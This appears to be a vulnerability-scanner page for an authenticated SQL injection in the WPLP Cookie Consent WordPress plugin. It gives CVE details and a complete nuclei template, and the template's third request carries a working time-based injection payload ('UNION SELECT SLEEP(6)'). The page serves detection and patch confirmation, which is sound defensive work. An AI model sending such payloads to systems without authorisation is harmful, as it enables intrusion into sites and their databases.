HexBrain

Browse / CVEs / CVE-2026-82186

CVE-2026-82186· wp-legal-pages / gdpr-cookie-consent· CWE-89

WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection

mediumseverity
4.1CVSS score
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it

The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wplp-dashboard
Send: @timeout: 10s
Positive when: status_code == 200 and contains(content_type, "text/html") and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-82186 -u <target>

The full check
id: CVE-2026-82186

info:
  name: WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
  reference:
    - https://wpscan.com/vulnerability/a0285ba3-0741-4382-a037-db0ac3fc49d2/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82186
    - https://wordpress.org/plugins/gdpr-cookie-consent/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 4.1
    cve-id: CVE-2026-82186
    epss-score: 0.00687
    epss-percentile: 0.53008
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: wp-legal-pages
    product: gdpr-cookie-consent
    framework: wordpress
    fofa-query: body="/wp-content/plugins/gdpr-cookie-consent/"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,gdpr-cookie-consent,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wplp-dashboard HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"wpl_cookie_scanner":"([a-f0-9]+)"'

  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php?action=wpl_cookie_scanner HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpl_cookie_scanner&security={{nonce}}&wpl_scanner_action=get_pages&offset=0,1) AS T UNION SELECT SLEEP(6)#

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - duration >= 6
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from